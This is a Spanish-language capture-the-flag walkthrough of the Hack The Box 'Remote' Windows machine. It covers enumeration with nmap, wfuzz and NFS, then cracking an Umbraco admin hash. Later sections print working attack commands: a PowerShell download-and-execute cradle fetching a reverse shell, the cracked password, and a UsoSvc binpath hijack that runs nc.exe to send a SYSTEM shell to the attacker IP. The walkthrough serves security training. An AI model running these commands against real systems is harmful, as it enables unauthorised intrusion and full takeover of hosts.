Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Fácil |
Puntos: | 20 |
Lanzamiento: | 21-Marzo-2020 |
IP: | 10.10.10.180 |
Primera sangre de usuario: | enjloezz |
Primera sangre de system: | qtc |
Creador: | mrb3n |
Reconocimiento.
Como siempre comenzaremos con un escaneo a los 65535
puertos de la máquina para poder encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts remote.htb -Pn --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-04 23:43 CDT
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.17s latency).
Not shown: 62929 closed ports, 2591 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49667/tcp open unknown
49678/tcp open unknown
49679/tcp open unknown
49680/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 38.83 seconds
Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
intrusionz3r0@kali:~$ nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 -oN targeted -Pn remote.htb
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 2m44s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-09-03T04:33:34
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 2 23:32:42 2020 -- 1 IP address (1 host up) scanned in 175.20 seconds
Enumeración FTP.
Al ver que tenemos muchos puertos abiertos comienzo enumerando el puerto 21 FTP ya que este cuenta con el usuario Anonymous por defecto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
intrusionz3r0@kali:~$ ftp remote.htb
Connected to remote.htb.
220 Microsoft FTP Service
Name (remote.htb:intrusionz3r0): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
221 Goodbye.
Al parecer en el servicio FTP se encuentra vació, por lo que pasaremos al puerto 80 HTTP.
Enumeración HTTP.
Abro el navegador y me dirijo a http://remote.htb/.
Rápidamente le doy un vistazo al código fuente.
No encontramos nada interesante.
Para esta etapa nosotros como atacantes necesitamos enumerar la página manualmente haciendo clic en todos los enlaces,botones, testear formularios, analizar peticiones, anotar información relevante, etc.
Ya que necesitamos buscas posibles vías potentes de explotación.
La única pestaña que contenía algo interesante fue la de http://remote.htb/people/ que parece mostrar posibles usuarios.
Ahora realizare una enumeración de directorios utilizando la herramienta wfuzz
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
intrusionz3r0@kali:~$ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirb/common.txt http://remote.htb/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://remote.htb/FUZZ
Total requests: 4614
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000001: 200 187 L 490 W 6693 Ch ""
000000227: 200 161 L 428 W 5441 Ch "about-us"
000000646: 200 137 L 338 W 5001 Ch "blog"
000000647: 200 137 L 338 W 5001 Ch "Blog"
000001013: 200 124 L 331 W 7880 Ch "contact"
000001014: 200 124 L 331 W 7880 Ch "Contact"
000001908: 200 187 L 490 W 6703 Ch "home"
000001909: 200 187 L 490 W 6703 Ch "Home"
000002058: 302 3 L 8 W 126 Ch "install"
000002094: 200 116 L 222 W 3323 Ch "intranet"
000002453: 500 80 L 276 W 3420 Ch "master"
000002903: 200 167 L 330 W 6739 Ch "people"
000002904: 200 167 L 330 W 6739 Ch "People"
000003139: 500 80 L 276 W 3420 Ch "product"
000003151: 200 129 L 302 W 5320 Ch "products"
000003152: 200 129 L 302 W 5320 Ch "Products"
000002909: 200 81 L 198 W 2741 Ch "person"
000004181: 200 95 L 189 W 4040 Ch "umbraco"
Total time: 62.42794
Processed Requests: 4614
Filtered Requests: 4596
Requests/sec.: 73.90921
La ruta que mas destaca es: umbraco
.
Esta ruta nos revela un gestor de contenido llamado umbraco
.
Hago una búsqueda en Google y encuentro lo siguiente:
Ahora veamos que dice wappalyzer.
Hemos recolectado algo de información valiosa, ahora buscaremos si este gestor de contenido esta asociado a alguna vulnerabilidad critica.
Utilizo la herramienta searchsploit
.
Como podemos observar hay 2 exploit interesantes el primero de ellos es utilizando metasploit pero como saben este tipo de writeups se hacen al estilo del OSCP por lo que pasaremos de este, el segundo es un exploit de RCE (Ejecución remota de comandos) pero necesitamos proporcionarles unas credenciales.
Así que necesitamos hacernos con las credenciales para poder utilizarlo.
Enumeración rpcbind.
Comenzaremos enumerando el servicio rpcbind que se ejecuta en el puerto 111.
Si revisamos nuevamente el escaneo nmap encontramos ejecutándose un sistema de archivos NFS (Network File System) lo que significa que podemos encontrar archivos interesantes en los cuales podamos indagar para encontrar información valiosa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
Para mas información puede visitar: pentesting-rpcbind y nfs-service-pentesting.
Ahora tenemos que ver si existe alguna carpeta a la cual podamos acceder.
1
2
3
intrusionz3r0@kali:~$ showmount -e remote.htb
Export list for remote.htb:
/site_backups (everyone)
y efectivamente encontramos una carpeta en la que podemos indagar.
Rápidamente realizo una montura para poder traer todo el contenido a mi máquina local.
1
intrusionz3r0@kali:~$ sudo mount -t nfs -o vers=2 remote.htb:/site_backups /mnt/HTB/Remote
Como podemos observar ahora podemos ver el contenido de la carpeta y esta almacena información sobre el gestor de contenido umbraco
.
Por lo que mi siguiente paso es realizar una búsqueda en Google para encontrar archivos con información sensible.
En este caso podemos realizar búsquedas con palabras clave como por ejemplo:
- [Gestor de contenido] db file location.
- [Gestor de contenido] credentials config file.
- etc.
Encontré lo siguiente:
Rápidamente hecho un vistazo a la ruta.
Encontramos lo que parece ser el hash del usuario administrador.
Abro una terminal y ejecuto john para descifrar el hash.
1
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt hash
Jajaja yo ya había descifrado el hash.
1
2
3
4
intrusionz3r0@kali:~$ john -show hash
Administrator:baconandcheese
1 password hash cracked, 0 left
Llego la hora de probar suerte y probar las credenciales en el panel de login de umbraco.
Shell como el usuario defaultapppool.
Ahora que tenemos unas credenciales llego la hora de explotar este gestor de contenido, si recuerdas habíamos hecho uso de la herramienta searchsploit
para encontrar un exploit para umbraco y habíamos encontrado uno que necesitaba credenciales.
Pues lamentablemente el exploit que habíamos encontrado me dio problemas a si que me di a la tarea de encontrar otro.
El exploit que utilizaremos es el siguiente: Umbraco-RCE.
Lo ejecuto y obtenemos ejecución remota de comandos.
Ahora que podemos ejecutar comandos hare uso de la reverse shell Invoke-PowerShellTcp.ps1
del repositorio de nishang.
Monto un servidor con python compartiendo el Invoke-PowerShellTcp.ps1
y ejecuto el exploit.
1
intrusionz3r0@kali:~$ python exploit.py -u admin@htb.local -p baconandcheese -i http://remote.htb/ -c "powershell" -a "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.28/Invoke-PowerShellTcp.ps1')"
Nota: Para que el script en powershell se interprete y se ejecute necesitas agregar al final del script la siguiente linea: Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PORT].
Shell como el usuario administrador.
Comienzo a enumerar la máquina subiendo un script de enumeración llamado PowerUp.ps1
del repositorio de PowerSploit.
Monto un servidor con python compartiendo el PowerUp.ps1
y lo ejecuto en la máquina.
1
PS C:\windows\system32\inetsrv> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.28/PowerUp.ps1');Invoke-AllChecks
Como podemos observar tenemos acceso de escritura al servicio UsoSvc
y podemos cambiar la BinPath
y ejecutar lo que yo quiera Administrador.
Para obtener una shell como System montaremos un servidor con python compartiendo el binario nc.exe
y lo descargaremos en la máquina remote. Y para finalizar solo detenemos el servicio, modificamos la binpath y ejecutamos nuevamente el servicio.
1
2
3
PS C:\Temp> sc.exe stop UsoSvc
PS C:\Temp> sc.exe config UsoSvc binpath= "C:\Temp\nc.exe 10.10.14.28 1234 -e cmd.exe"
PS C:\Temp> sc.exe start UsoSvc
¡¡Somos Administradores!!
Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.